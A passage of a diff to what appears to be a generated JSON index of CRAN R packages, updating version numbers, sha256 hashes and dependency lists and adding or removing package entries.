"0fdjv4gasld0i9wrw66y9973xjjfiw826cbaan8jjj550nqlxrx3", "depends": ["ggplot2"] }, "ExposR": { @@ -10863,8 +10821,8 @@ }, "ExtDist": { "name": "ExtDist", - "version": "0.7-2", - "sha256": "0wramjs7s2nxgjb2k30jgbbpf7pj4a1gzzqx8p1qh4pskh15msfm", + "version": "0.7-3", + "sha256": "1406d7mzrgka6iq42m33nv32w02xq0ygbfwya6mqmd83dm79cghj", "depends": ["numDeriv", "optimx"] }, "ExtMallows": { @@ -10873,6 +10831,12 @@ "sha256": "0903jslp74s1vzbklq88y2dm0dgkhd6g77b7aipxam98933k0hzz", "depends": [] }, + "ExtendedLaplace": { + "name": "ExtendedLaplace", + "version": "0.1.6", + "sha256": "195vzsf688jav2d395g6cinj98faliv10j8yvy0i0qbhxpgrcq7d", + "depends": ["VGAM"] + }, "ExtrPatt": { "name": "ExtrPatt", "version": "0.1-4", @@ -10983,8 +10947,8 @@ }, "FARS": { "name": "FARS", - "version": "0.3.0", - "sha256": "1qc5df271y1sqx2z334l33mxj16h6xj41953kmzvs2pccnp7fwjm", + "version": "0.4.0", + "sha256": "0r5m66wvh8fp1bs7zz38p93k8v9hq6v106n3ax5qxxfayfg8s6c2", "depends": ["MASS", "SyScSelection", "dplyr", "ellipse", "forcats", "ggplot2", "nloptr", "plotly", "quantreg", "reshape2", "sn", "stringr", "tidyr"] }, "FAS": { @@ -11025,9 +10989,9 @@ }, "FAfA": { "name": "FAfA", - "version": "0.2", - "sha256": "1cqfbd49pqn132l6nhp9v8jqj2vjkbsrzcph593n15vvgw3xbl2v", - "depends": ["dplyr", "golem", "lavaan", "magrittr", "psych", "shiny", "shinycssloaders", "shinydashboard"] + "version": "0.3", + "sha256": "0ffmzanzmqw9fr1m1ydcldiwnxm9159v0qmddxpzvh5ysq813q5q", + "depends": ["EFA_MRFA", "EFA_dimensions", "EFAtools", "EGAnet", "MBESS", "config", "dplyr", "energy", "ggcorrplot", "golem", "haven", "lavaan", "magrittr", "mctest", "moments", "mvnormalTest", "pastecs", "psych", "psychometric", "readxl", "semPlot", "semTools", "shiny", "shinycssloaders", "shinydashboard", "sirt"] }, "FAmle": { "name": "FAmle", @@ -11371,10 +11335,16 @@ "sha256": "0iax5569a0v18j2l52mw26yimx11fqqbxj5q7jgba9jf7ylp410w", "depends": ["RANN", "data_table", "gmp", "proxy"] }, + "FORD": { + "name": "FORD", + "version": "0.1.2", + "sha256": "0lwbz4ymsjzky55xsa3wv7w12banzq9ijbcsx0a9m9cpp88rkal1", + "depends": ["RANN", "data_table"] + }, "FORTLS": { "name": "FORTLS", - "version": "1.5.2", - "sha256": "00a4190wpl3w14yvsk128nbk4gbvggfxzc8fndw297azrv6bqzkh", + "version": "1.5.3", + "sha256": "12nzqysz7msgvg56djsfh7ysngadag6c4dzw11v1cflciv0wbcx8", "depends": ["Distance", "RCSF", "Rcpp", "RcppArmadillo", "RcppEigen", "Rfast", "VoxR", "data_table", "dbscan", "dplyr", "glue", "htmlwidgets", "lidR", "mapview", "moments", "plotly", "progress", "raster", "reticulate", "scales", "sf", "terra", "tidyr", "vroom"] }, "FPCA3D": { @@ -11673,8 +11643,8 @@ }, "FastGaSP": { "name": "FastGaSP", - "version": "0.6.0", - "sha256": "0w1zy6zw4f0fd256hxfdf005p8v8m2bji1nl7mfpy37ap17wym0x", + "version": "0.6.1", + "sha256": "065ml5f9i8pca8mqli0gfgikal115ycaixqfg2kcl4s368vfz4yx", "depends": ["Rcpp", "RcppEigen", "rstiefel"] }, "FastHamming": { @@ -11731,12 +11701,6 @@ "sha256": "09q0pcc54dzjgbx27w9qvwzqca1hp526x254wv75hxs74whbysci", "depends": ["DT", "bslib", "caret", "cluster", "data_table", "digest", "future", "ggplot2", "glmnet", "htmltools", "promises", "rcdk", "readxl", "shiny", "shinybusy", "shinyhelper", "shinyjs", "xgboost", "xlsx"] }, - "FastSF": { - "name": "FastSF", - "version": "0.1.1", - "sha256": "1xajav45h57hchzkvl2pb4mz9xy433lq74jnry0icid8dai5xhwb", - "depends": ["Rcpp", "RcppArmadillo", "limSolve"] - }, "FastStepGraph": { "name": "FastStepGraph", "version": "0.1.1", @@ -11887,24 +11851,12 @@ "sha256": "1vxpz45bf85mmbzif0jm3rbvw4bya8sf8y0k4apc9bycyrlk368a", "depends": ["zoo"] }, - "FinancialInstrument": { - "name": "FinancialInstrument", - "version": "1.3.1", - "sha256": "0f1zaclrcmpkdhcfc8a09f7lsf2b7gfyd7js3173qckn84a01f3w", - "depends": ["TTR", "quantmod", "xts", "zoo"] - }, "FinancialMath": { "name": "FinancialMath", "version": "0.1.1", "sha256": "11nhphvd7bvbc7xfs85rib763r1mpvxmsj6hgzfib5aifib5k5js", "depends": [] }, - "FindIt": { - "name": "FindIt", - "version": "1.2.0", - "sha256": "0zrvkvj907fw86jnzzlwk4d90hi42nq45jprp16xryxb7xxii6i8", - "depends": ["Matrix", "arm", "glinternet", "glmnet", "igraph", "lars", "limSolve", "lmtest", "quadprog", "sandwich"] - }, "FinePop": { "name": "FinePop", "version": "1.5.2", @@ -12039,16 +11991,10 @@ }, "FlowerMate": { "name": "FlowerMate", - "version": "1.0", - "sha256": "0hl91lz1ikhqransinn0zqa2gmx0fyl7yqxnjjj4h8ssff63hwrc", + "version": "1.1", + "sha256": "1w39rxn5bzyb2h9d1s1c2sv9hz474cxy82khw0hk1mvcxgpm5l94", "depends": [] }, - "FluMoDL": { - "name": "FluMoDL", - "version": "0.0.3", - "sha256": "0vp3w6hpph6svz8940w9yk9c5iv4n9mj94f9si1ks0xjbi948rqd", - "depends": ["dlnm", "mvmeta", "tsModel"] - }, "Fluidigm": { "name": "Fluidigm", "version": "0.2", @@ -12067,10 +12013,16 @@ "sha256": "0cbnac971yp61khixh2kvwyz4phxz87xswbbkljiry5mdqknpxz2", "depends": [] }, + "FoCo2": { + "name": "FoCo2", + "version": "0.1.2", + "sha256": "1q19pfix25vd96ikqjld0w8gp3kgzk2crd2cdrsmvbj6pcfx0y1z", + "depends": ["FoReco", "Matrix", "cli", "osqp", "quadprog"] + }, "FoReco": { "name": "FoReco", - "version": "1.0.0", - "sha256": "1spzhiijpbrhlxassilnbrbdbghfr6sz8m43q756c7mikan9wag7", + "version": "1.1.0", + "sha256": "0ccjr4ipym1832lsq8ri45rlyv8riawp3m98xpab2bnjqrka5kj6", "depends": ["Matrix", "cli", "osqp"] }, "ForIT": { @@ -12081,8 +12033,8 @@ }, "ForLion": { "name": "ForLion", - "version": "0.1.0", - "sha256": "15khdfcz8sji2ljr78bz4zlz78wi4ldfyypah1ymd5cwqs2dvabr", + "version": "0.2.0", + "sha256": "023j37ibdhl115nfrs0pcqx22qf7svc3h7gs7548kk5srm976qv7", "depends": ["cubature", "psych"] }, "ForagingOrg": { @@ -12103,12 +12055,6 @@ "sha256": "1d7hs563q0h6zx3ky3lj0acb25b2wi4g4c5vacrppf0lv8m16rqw", "depends": ["astsa", "forecast", "ggplot2", "rlang"] }, - "ForecastComb": { - "name": "ForecastComb", - "version": "1.3.1", - "sha256": "07cbiv172mpkwvg6svhwgavlfy2144ir3y1l7w37wbd0ygs514id", - "depends": ["Matrix", "forecast", "ggplot2", "mtsdi", "psych", "quadprog", "quantreg"] - }, "ForecastCombinations": { "name": "ForecastCombinations", "version": "1.1", @@ -12259,12 +12205,6 @@ "sha256": "0kscdmrs5namvhi112b47c811w0bg9s3xg48mfa566pxwxz1nv45", "depends": [] }, - "FunCC": { - "name": "FunCC", - "version": "1.0", - "sha256": "0n8fnrq3grsxxcz1841d3d643nyrwc7y15na1205zxq6rmdjx7wa", - "depends": ["RColorBrewer", "biclust", "ggplot2", "narray", "reshape"] - }, "FunChisq": { "name": "FunChisq", "version": "2.5.4", @@ -12405,8 +12345,8 @@ }, "FuzzySimRes": { "name": "FuzzySimRes", - "version": "0.4.3", - "sha256": "1my73zaykbnak8bhhcg74fksxzdcnf4rldzy8yjs5lwc2p1a5r32", + "version": "0.4.5", + "sha256": "06vixzj76g071dvakk6jc2awsfhxi7bsd1ssanaa2rmkn3bj9kb4", "depends": ["FuzzyNumbers", "palasso"] }, "FuzzyStatTra": { @@ -12493,6 +12433,12 @@ "sha256": "0mhdadl7zgsacn59ym42magg3214k1xhabwn78fv7kgccszcgc86", "depends": [] }, + "GAPR": { + "name": "GAPR", + "version": "0.1.4", + "sha256": "076ijbv734ip2lgl02kk62jwwxdzspma98rfppk3ln4hz24nfklz", + "depends": ["ComplexHeatmap", "RColorBrewer", "Rcpp", "circlize", "dendextend", "gridExtra", "magick", "seriation"] + }, "GARCHIto": { "name": "GARCHIto", "version": "0.1.0", @@ -12609,8 +12555,8 @@ }, "GDAtools": { "name": "GDAtools", - "version": "2.2", - "sha256": "1a1wbbkf6i9241wlhg50707pqb9rflnlp9ra8cc0ny4m52sj7fyj", + "version": "2.3", + "sha256": "0z8fanwjx3pg8pahxfdz00h8my3jk6cxpjlpkp22ygwxs1w4hfj6", "depends": ["FactoMineR", "descriptio", "ggplot2", "ggrepel", "rlang"] }, "GDELTtools": { @@ -12853,18 +12799,6 @@ "sha256": "1mnbnqyp7m8zqxhkaiymr0xib7ikn9ycgxr45xzzc9rrjw4pibva", "depends": ["Rcpp", "bitops", "data_table", "digest", "jsonlite", "matlab", "readxl"] }, - "GGMncv": { - "name": "GGMncv", - "version": "2.1.1", - "sha256": "0lih9dyb5aqrawhiy2vhv63b132hhzq6zq0x6rbrhy8kbkldhigr", - "depends": ["GGally", "MASS", "Rcpp", "RcppArmadillo", "Rdpack", "ggplot2", "glassoFast", "mathjaxr", "network", "numDeriv", "pbapply", "reshape", "sna"] - }, - "GGMnonreg": { - "name": "GGMnonreg", - "version": "1.0.0", - "sha256": "1bhqk172ddc7xq1hqj1i6q8np6jvmf2xypvd8kp3w1bcsafsbms8", - "depends": ["GGMncv", "GGally", "MASS", "Matrix", "Rdpack", "bestglm", "corpcor", "doParallel", "foreach", "ggplot2", "network", "poibin", "psych", "sna"] - }, "GGMridge": { "name": "GGMridge", "version": "1.5", @@ -13009,12 +12943,6 @@ "sha256": "1cp5mgbvq0g9ss2cv5yincfjvs8jmciz0h3g5jrr8gda1gvf357i", "depends": ["GLDEX", "ddst"] }, - "GLMMRR": { - "name": "GLMMRR", - "version": "0.5.0", - "sha256": "072zwi1rs6d84iszn09v5g19bkpla19nfqk4pq40ad8368zkbhcm", - "depends": ["RColorBrewer", "lattice", "lme4"] - }, "GLMMadaptive": { "name": "GLMMadaptive", "version": "0.9-7", @@ -13189,6 +13117,12 @@ "sha256": "1i1sx4rm6qddxl4pgdpi43xdzjc274j91md2br53075fa0s6hk1k", "depends": ["GO_db", "annotate", "biomaRt", "dplyr", "ggplot2", "ggraph", "gontr", "igraph", "network"] }, + "GPAbin": { + "name": "GPAbin", + "version": "1.0.6", + "sha256": "1bcljfjd09nyjywlbqijbpmzl7znsr9la4mllwv0s4h51n9hddxd", + "depends": ["ca", "jomo", "mi", "mice", "missMDA", "mitools", "stringr"] + }, "GPArotateDF": { "name": "GPArotateDF", "version": "2023.11-1", @@ -13363,12 +13297,6 @@ "sha256": "16l2mzd6xm2yk1hs5333w9lfz7iymkwmi3k80yxal9dxqh5hajkb", "depends": ["R6", "aricode", "blockmodels", "igraph", "pbmcapply"] }, - "GRIDCOPULA": { - "name": "GRIDCOPULA", - "version": "1.0.1", - "sha256": "0d8zibd27z0krn564ba906zlvnb1fx4mfvhpii7pxr0pzjir2a9c", - "depends": ["Rsolnp", "evmix", "fields", "ggplot2", "limSolve", "pracma", "reshape2"] - }, "GRIN2": { "name": "GRIN2", "version": "1.0", @@ -13647,9 +13575,9 @@ }, "GWalkR": { "name": "GWalkR", - "version": "0.2.0", - "sha256": "0d6f1br5g28z6qbi41y3sfglci941lzs38hm9cjr1vlxg65dnzav", - "depends": ["DBI", "duckdb", "htmlwidgets", "jsonlite", "openssl", "shiny", "shinycssloaders"] + "version": "0.2.1", + "sha256": "1m6jcqsgmvkp9q3rm63q9jwvxizgm80kmchvi9y9im0d4q1fa8gq", + "depends": ["DBI", "htmlwidgets", "jsonlite", "openssl", "shiny", "shinycssloaders"] }, "GWlasso": { "name": "GWlasso", @@ -13731,8 +13659,8 @@ }, "GeDS": { "name": "GeDS", - "version": "0.3.1", - "sha256": "12176q63axzdflmk25gh89szamyzjn3bsjrrsbbvcg9bs5af89nw", + "version": "0.3.2", + "sha256": "1wczr0my62drglglajv5jiyy0gpnynf7c0d50awjra65rcspi81p", "depends": ["MASS", "Matrix", "Rcpp", "Rmpfr", "TH_data", "doFuture", "doParallel", "doRNG", "foreach", "future", "mboost", "mi", "plot3D"] }, "GeNetIt": { @@ -14005,12 +13933,6 @@ "sha256": "1v3jgwv45bzyya578z6hqjj6jzwgh1gsbin67sqf1i735c0lms05", "depends": ["Matrix", "abind", "archetypal", "distances", "doParallel", "dplyr", "geometry", "magrittr", "mirai", "plot3D", "rlang", "scales"] }, - "GeomComb": { - "name": "GeomComb", - "version": "1.0", - "sha256": "05xb6m2ciszxd13yhqdkildh9nsq19ss8885ngj6ynvbchqkii7r", - "depends": ["ForecastCombinations", "Matrix", "forecast", "ggplot2", "mtsdi", "psych"] - }, "GephiForR": { "name": "GephiForR", "version": "0.1.0", @@ -14151,8 +14073,8 @@ }, "GitStats": { "name": "GitStats", - "version": "2.3.2", - "sha256": "1ld2xmjga0bcv5fjbr5ypssgah8xmz81259xyybf88flcr1805fn", + "version": "2.3.3", + "sha256": "17xj5vdw5ka8l3917d4qjrjw7f8z4y97qlg32134pqqa38ikr666", "depends": ["R6", "cli", "dplyr", "glue", "httr2", "lubridate", "magrittr", "purrr", "rlang", "stringr"] }, "GlarmaVarSel": { @@ -14211,14 +14133,14 @@ }, "GoMiner": { "name": "GoMiner", - "version": "1.2", - "sha256": "0zr71lqpgn5pp88zwzqdl0hd6m3hbb28qpryf80871hg26wyidrr", + "version": "1.3", + "sha256": "0myq70l8izidz75k8jprn545xhn4fkyiwlll9xw9a5cqywjc8qa7", "depends": ["HGNChelper", "gplots", "minimalistGODB", "randomGODB", "vprint"] }, "GofCens": { "name": "GofCens", - "version": "1.2.1", - "sha256": "1svkizyw1rc9mllax4swgjlp079wq5vr5zrx33ir8hsg1vl9jnjl", + "version": "1.5", + "sha256": "0446jwi0zj1w7xm8jd50na8pn2jasw4drbf6mffx80j94pqr4rgk", "depends": ["actuar", "boot", "fitdistrplus", "ggplot2", "gridExtra", "survival"] }, "GofKmt": { @@ -14353,6 +14275,12 @@ "sha256": "0gv4kqgn10l3pknx7w26yas1h70gsb2h8a82w2ykxs134xl4vpll", "depends": ["Metrics", "cmna", "dplyr", "expm", "ggplot2", "particle_swarm_optimisation", "plotly", "readxl", "scales", "shiny", "shinyWidgets", "shinydashboard"] }, + "GridOnClusters": { + "name": "GridOnClusters", + "version": "0.1.0.2", + "sha256": "0wdirn5h8394q0gmpbh9b2yg481j2p03n6spwjcsqqkfsfc5db9s", + "depends": ["Ckmeans_1d_dp", "Rcpp", "Rdpack", "cluster", "dqrng", "fossil", "mclust", "plotrix"] + }, "GrimR": { "name": "GrimR", "version": "0.5", @@ -14605,6 +14533,12 @@ "sha256": "1fvvzmqnqwxql6ny5zq0hv8w8sv5k0canzww9bc8w8vaxdpv47x7", "depends": [] }, + "HDSpatialScan": { + "name": "HDSpatialScan", + "version": "1.0.5", + "sha256": "1ggrg9gdh8qmy296cg1k3mp5lhjd62a3b8ywrg9qdvxxmrxxmqap", + "depends": ["DT", "Rcpp", "RcppArmadillo", "SpatialNP", "TeachingDemos", "fmsb", "matrixStats", "pbapply", "plotrix", "purrr", "raster", "sf", "sp", "swfscMisc"] + }, "HDStIM": { "name": "HDStIM", "version": "0.1.0", @@ -14721,8 +14655,8 @@ }, "HIMA": { "name": "HIMA", - "version": "2.3.1", - "sha256": "0yb2wn69b72vg4hkbnsjwrjs36p5g49dk4l74r7y21qz1y4398pp", + "version": "2.3.2", + "sha256": "1ch6lcsigmhgpwj22w787pba49hw8938zbwd36j1npm1zbpzrm8v", "depends": ["HDMT", "MASS", "conquer", "doParallel", "foreach", "glmnet", "hdi", "hommel", "iterators", "ncvreg", "quantreg", "survival"] }, "HK80": { @@ -14751,8 +14685,8 @@ }, "HLSM": { "name": "HLSM", - "version": "0.9.1", - "sha256": "06ssp92jjc29z6z71qcfcd506b0aqka8s9zhc1qlif075yqy2rc8", + "version": "0.9.2", + "sha256": "1629k439rwhyd984pyagabimmpld92mspj674s0wn0fcq5s7sg36", "depends": ["MASS", "abind", "coda", "igraph"] }, "HMB": { @@ -14899,12 +14833,6 @@ "sha256": "17yg6ql9c88pg5higmrvhnavx6hcbr4nm5r65d8q3iqfkgnc6ym1", "depends": [] }, - "HSDiC": { - "name": "HSDiC", - "version": "0.1", - "sha256": "0wiixb1ylx0l8qfgh5ark6alkdq87xaak1jlxizw1m589vghvqfp", - "depends": ["Matrix", "glmnet", "ncvreg", "quadprog"] - }, "HSEtest": { "name": "HSEtest", "version": "0.1.0", @@ -14929,6 +14857,12 @@ "sha256": "0y0185p13yx2lq0ppl197hi6d7xdby57c3yjfcbsm3wdmgahcawx", "depends": ["GoMiner", "HGNChelper", "HTGM", "gplots", "jaccard", "minimalistGODB", "randomGODB", "vprint"] }, + "HTGM3D": { + "name": "HTGM3D", + "version": "1.0", + "sha256": "0r7b7k6w2lqbvl5jvg9rg34236jk8w5xw52qdlcjnwz7l8zfmzam", + "depends": ["GoMiner", "HTGM", "HTGM2D", "R2HTML", "minimalistGODB", "randomGODB", "rgl", "stringr", "vprint"] + }, "HTLR": { "name": "HTLR", "version": "0.4-4", @@ -14979,8 +14913,8 @@ }, "HVT": { "name": "HVT", - "version": "25.2.3", - "sha256": "0if5cddfhj5j0bwp9j7ipja14qg562w6vlbyjpwkvqlbpg7rk005", + "version": "25.2.4", + "sha256": "12y46p0z9n31nq4nqx9xa4g59dna50wwn0lzf7hpfq3830q4nmi7", "depends": ["FNN", "MASS", "NbClust", "Rtsne", "cluster", "deldir", "dplyr", "gganimate", "ggplot2", "gridExtra", "magrittr", "markovchain", "plyr", "purrr", "reshape2", "scales", "splancs", "tidyr", "umap"] }, "HWEintrinsic": { @@ -15001,12 +14935,6 @@ "sha256": "1p9k0jp7qms1sl5msrqm12bf5f48h8jrw2im72f150yv3q5yadjy", "depends": ["clipr", "colorspace", "data_table", "dplyr", "ggplot2", "ggpubr", "ggrepel", "lubridate", "ncdf4", "patchwork", "pbapply", "purrr", "rlang", "scales", "stringr", "tidyr", "tidyselect", "zoo"] }, - "HaDeX": { - "name": "HaDeX", - "version": "1.2.2", - "sha256": "1qj6n03pd5kd5ff5h4v8wmnqxxylsxx1p6i88nahqkah2mzg9jdr", - "depends": ["DT", "data_table", "dplyr", "ggplot2", "gsubfn", "latex2exp", "readr", "readxl", "reshape2", "shiny", "stringr", "tidyr"] - }, "HadIBDs": { "name": "HadIBDs", "version": "1.0.1", @@ -15027,8 +14955,8 @@ }, "HandTill2001": { "name": "HandTill2001", - "version": "1.0.1", - "sha256": "0wgr3rhz1iklirpnzk25afh8fv1qpi2ijmx4xwzplw3w3qir4yv6", + "version": "1.0.2", + "sha256": "0av4c56161kpav1mpm79h5z6h4c2dg8bnirhjl1g5gv3hnkm9944", "depends": [] }, "Hapi": { @@ -15093,8 +15021,8 @@ }, "HeckmanEM": { "name": "HeckmanEM", - "version": "0.2-1", - "sha256": "0rx9lbi5l0h95sg5lhjyrv31qmp4ziam84b98l2a05q56avck9jj", + "version": "0.2-2", + "sha256": "05ns063f29m0kqy58wic9yzqhj66g0bs4pwyk3isqxj5001s3x66", "depends": ["MomTrunc", "PerformanceAnalytics", "ggplot2", "mvtnorm", "sampleSelection"] }, "HeckmanStan": { @@ -15115,12 +15043,6 @@ "sha256": "0y4slz11b35wxc9zsri49srmw559aiy0pmdx9lgi0vnfs682clyp", "depends": ["MASS", "Matrix", "coda", "ggplot2", "rlang"] }, - "HeritSeq": { - "name": "HeritSeq", - "version": "1.0.2", - "sha256": "0jzf3pq43lllxvvmf0rqzxz9fx6931mgb0ipminlw1iakz8wa6w3", - "depends": ["DESeq2", "MASS", "SummarizedExperiment", "cplm", "lme4", "pbapply", "tweedie"] - }, "HetSeq": { "name": "HetSeq", "version": "0.1.0", @@ -15375,8 +15297,8 @@ }, "I14Y": { "name": "I14Y", - "version": "0.1.3", - "sha256": "1gawz1fcnrav5xzkmn6dncsa01drcijdxs3br339q5g9gfidmjx1", + "version": "0.1.4", + "sha256": "04m0h3iwz4sm1fnqxd5kynsqi3dw4a170ad77kf2windapqh7ha0", "depends": ["cli", "curl", "httr2", "readr", "rlang", "tibble"] }, "IADT": { @@ -15471,15 +15393,9 @@ }, "ICAMS": { "name": "ICAMS", - "version": "2.3.12", - "sha256": "0nnmnbh02d5miyk6fr07jrrnv3h7ws72xkwr92apvcx9m5ql6ll0", - "depends": ["BSgenome", "Biostrings", "GenomeInfoDb", "GenomicRanges", "IRanges", "RColorBrewer", "data_table", "dplyr", "stringi", "zip"] - }, - "ICAOD": { - "name": "ICAOD", - "version": "1.0.1", - "sha256": "07fxh60vsndlvjijjsh1a9l2qkp78sb9nkg5x5mslh209lpjjhw1", - "depends": ["Rcpp", "RcppEigen", "cubature", "mnormt", "mvQuad", "nloptr", "sn"] + "version": "3.0.11", + "sha256": "073cn5c77mgdjcb3dlyb0rwb6x7696z39iil6r4z3w39szhxs9rw", + "depends": ["BSgenome", "Biostrings", "GenomeInfoDb", "GenomicRanges", "IRanges", "RColorBrewer", "data_table", "dplyr", "fuzzyjoin", "lifecycle", "stringi", "zip"] }, "ICBioMark": { "name": "ICBioMark", @@ -15645,9 +15561,9 @@ }, "ICtest": { "name": "ICtest", - "version": "0.3-5", - "sha256": "13i7zsjy4dqx48vzn9294k7xb93m6r2ab3d546rymfqdzdjszpnp", - "depends": ["GGally", "ICS", "ICSNP", "JADE", "Rcpp", "RcppArmadillo", "RcppRoll", "ggplot2", "mvtnorm", "png", "survey", "xts", "zoo"] + "version": "0.3-6", + "sha256": "1zzdfybfgyi9rnzdamwaf0xcvwh72fy2v8j0wzivpsvxgqa7a15k", + "depends": ["GGally", "ICS", "ICSNP", "JADE", "Rcpp", "RcppArmadillo", "RcppRoll", "ggplot2", "mvtnorm", "png", "progress", "survey", "xts", "zoo"] }, "ICvectorfields": { "name": "ICvectorfields", @@ -15979,6 +15895,12 @@ "sha256": "157bwkbfaff09r1idcr4lqzw64aqha6s12ad61vvn4s7lal4zym6", "depends": ["Matrix", "fmesher", "sf", "sp", "terra"] }, + "INLAtools": { + "name": "INLAtools", + "version": "0.0.2", + "sha256": "0srkj5dzyfrn826nh2aadpr6z04sbsm08953yj5gxa5s6rn3vfyy", + "depends": ["Matrix"] + }, "INQC": { "name": "INQC", "version": "2.0.5", @@ -15991,12 +15913,6 @@ "sha256": "1jh6p3bgnrjixqzvjl0z3nv6lh01fx3x925h3na2pi3scqx5gx0s", "depends": ["DT", "brms", "dplyr", "ggeffects", "ggplot2", "knitr", "lme4", "modelr", "pander", "plotly", "purrr", "readxl", "rlang", "rmarkdown", "shiny", "shinyFeedback", "shinyalert", "shinyjs", "shinytoastr", "shinyvalidate", "tidybayes", "tidyr", "tippy", "vroom", "waiter"] }, - "INSPIRE": { - "name": "INSPIRE", - "version": "1.5", - "sha256": "0938l50yxnb5q628mp874ayx9ybvcjddis20y1hzm5cmlsg0hqhg", - "depends": ["missMDA"] - }, "INTRIGUE": { "name": "INTRIGUE", "version": "0.1.0", @@ -16093,12 +16009,6 @@ "sha256": "1zalpmyywkrnci0jd8irakjhiqmr52zhj1sbxf9pz5c7wks2rdbc", "depends": ["MASS", "miscTools", "qcc"] }, - "IRCcheck": { - "name": "IRCcheck", - "version": "1.0.0", - "sha256": "035sx36qf5hdnc51h8251qwxfm30r8h2v2qs2x161ip4cqghw019", - "depends": ["GGMncv", "MASS", "Rdpack", "corpcor", "glmnet"] - }, "IRISMustangMetrics": { "name": "IRISMustangMetrics", "version": "2.4.7", @@ -16281,8 +16191,8 @@ }, "IVPP": { "name": "IVPP", - "version": "1.1.0", - "sha256": "1l6m55h4fkb4fxv7bvx81nh4s1z5y0hifzd3ciwa4j92q71zmdnz", + "version": "1.1.1", + "sha256": "15fzbphxpbzg5qxkch1lmg7ncipy34i780pphnpip8bznzzzq1ry", "depends": ["bootnet", "clusterGeneration", "dplyr", "future", "future_apply", "graphicalVAR", "lifecycle", "mvtnorm", "psychonetrics"] }, "IVYplot": { @@ -16579,12 +16489,6 @@ "sha256": "0fv24z7vidhn09ljk09pjzkrlg2rlwxcrhfjc53ybjjgsgay99z6", "depends": ["Biobase", "ggplot2", "nlme"] }, - "IntegratedMRF": { - "name": "IntegratedMRF", - "version": "1.1.9", - "sha256": "0kklgc48cib4bjfs9qbw13nkp8xyjdazrg6z15x69jylnxyakic7", - "depends": ["MultivariateRandomForest", "Rcpp", "bootstrap", "ggplot2", "limSolve"] - }, "InterNL": { "name": "InterNL", "version": "0.1.0", @@ -16723,12 +16627,6 @@ "sha256": "19lgwbfbca30mh3hhnarzab5cvnrwnr0pxam6fvfnadnqzhjm15n", "depends": [] }, - "IsoCheck": { - "name": "IsoCheck", - "version": "0.1.0", - "sha256": "06g0srp14yiha95mbmifaqf5yr5ppjnc20nyr237ah3l776mhsif", - "depends": ["dplyr", "gtools", "plyr"] - }, "IsoCor": { "name": "IsoCor", "version": "0.2.8", @@ -16797,8 +16695,8 @@ }, "JANE": { "name": "JANE", - "version": "1.0.0", - "sha256": "0rqn247r422fbaza7v8zg18mlp0xnh68rnv2vpmpvaj0zbnkxm26", + "version": "1.1.0", + "sha256": "11g6zag8qrp4vvjf7c5wizh7b8ai5wlzi2cmr84fbwk80vli1sa5", "depends": ["Matrix", "Rcpp", "RcppArmadillo", "aricode", "extraDistr", "future", "future_apply", "igraph", "mclust", "progress", "progressr", "rlang", "scales", "stringdist"] }, "JATSdecoder": { @@ -16827,8 +16725,8 @@ }, "JFE": { "name": "JFE", - "version": "2.5.9", - "sha256": "0cfxx38azpc236waxxxqfawqfzjg5cliyspf0y6226gkmslha3kp", + "version": "2.5.10", + "sha256": "0m1gmlwh8lsmc45bkmxf48p9k8s41m8pfb02ppla5573iyx2882n", "depends": ["xts"] }, "JFM": { @@ -16947,8 +16845,8 @@ }, "JSM": { "name": "JSM", - "version": "1.0.1", - "sha256": "0vcsay1jpjlfdwykad4hp319swr9lv1ajlcyhmiizwr1ph3f1az9", + "version": "1.0.2", + "sha256": "08pa5ljihdjgx4vw290bk98f2lyxybwlw0rf6dbfxnxwwp7smzv2", "depends": ["Rcpp", "RcppEigen", "nlme", "statmod", "survival"] }, "JSUparameters": { @@ -16977,8 +16875,8 @@ }, "JUMP": { "name": "JUMP", - "version": "1.0.1", - "sha256": "0i84vpzgs9bj0idxxjl885x818hq23drxy0h2pl6zbyz2z1v331m", + "version": "1.0.2", + "sha256": "0gpp464xiv08k7q4zvszlpkpnrxjd1d2ha660qf0jy6dcqiy5ib9", "depends": ["Rcpp", "RcppArmadillo"] }, "JWileymisc": { @@ -17121,8 +17019,8 @@ }, "KFAS": { "name": "KFAS", - "version": "1.5.1", - "sha256": "1kswy3ahd7ng8jhd1nl1x454ywqnlsgpxnzz0q2rll7hsl3xr4hj", + "version": "1.6.0", + "sha256": "11z9y6n8n4fq1wn5hv3vjj3lp7l6s1rn9cdxjg6wlj6m9ys8w9j8", "depends": [] }, "KFPCA": { @@ -17205,9 +17103,9 @@ }, "KODAMA": { "name": "KODAMA", - "version": "2.4.1", - "sha256": "09wn4giikxpw6phks3nyd69zs7v4zw3rw6xqlwvdcy2gd3vinasz", - "depends": ["Rcpp", "RcppArmadillo", "Rtsne", "minerva", "umap"] + "version": "3.0", + "sha256": "1g6whwljdqrkk1mksy9ifj1sfwn24131wrv6w84nbkxh6z1dfqpc", + "depends": ["Matrix", "Rcpp", "RcppArmadillo", "Rnanoflann", "Rtsne", "umap"] }, "KOFM": { "name": "KOFM", @@ -17497,6 +17395,12 @@ "sha256": "050r2rqmqgwmal53d82vi0nhnzzrm4q8mqz0pbpj77blflbqy740", "depends": ["MASS", "Matrix", "Rcpp", "RcppArmadillo", "ggplot2", "reshape2"] }, + "L0TFinv": { + "name": "L0TFinv", + "version": "0.1.0", + "sha256": "1zd5b6xmxjy8zyd6yw8m3q4jc0rsp0mdp8vxk2bb1bh9mj3d6rlj", + "depends": ["Matrix", "ggplot2"] + }, "L1centrality": { "name": "L1centrality", "version": "0.3.1", @@ -17611,12 +17515,6 @@ "sha256": "1l75y3vkbsmsm3pjd5pwy0hlv6gz5ryxs4pkx9aiyhxz2y9wnhpb", "depends": ["boot", "kinship2", "mvtnorm", "rms"] }, - "LCAvarsel": { - "name": "LCAvarsel", - "version": "1.1", - "sha256": "0aqc9rbrc8n6s9xllmamby219qsnxd4ajvffjr21qlkhkaklirb1", - "depends": ["GA", "MASS", "doParallel", "foreach", "memoise", "nnet", "poLCA"] - }, "LCCR": { "name": "LCCR", "version": "2.0.1", @@ -17733,8 +17631,8 @@ }, "LFM": { "name": "LFM", - "version": "0.3.0", - "sha256": "0jiaf0rkv5azv7civ70q1crwlalbaq5mn2zp4vn9n71lf0rgk7ba", + "version": "0.3.1", + "sha256": "0i5f8hbdf4dlagj5jsszyqpscb0jbz2pa699ggy50v4l6vlvkhjf", "depends": ["FarmTest", "LaplacesDemon", "MASS", "SOPC", "matrixcalc", "relliptical"] }, "LGCU": { @@ -17773,12 +17671,6 @@ "sha256": "01wqx3mqq0rz4m0zp07ln6d396fz7xcwm37kn8js26ravyhiipdq", "depends": [] }, - "LIM": { - "name": "LIM", - "version": "1.4.7.2", - "sha256": 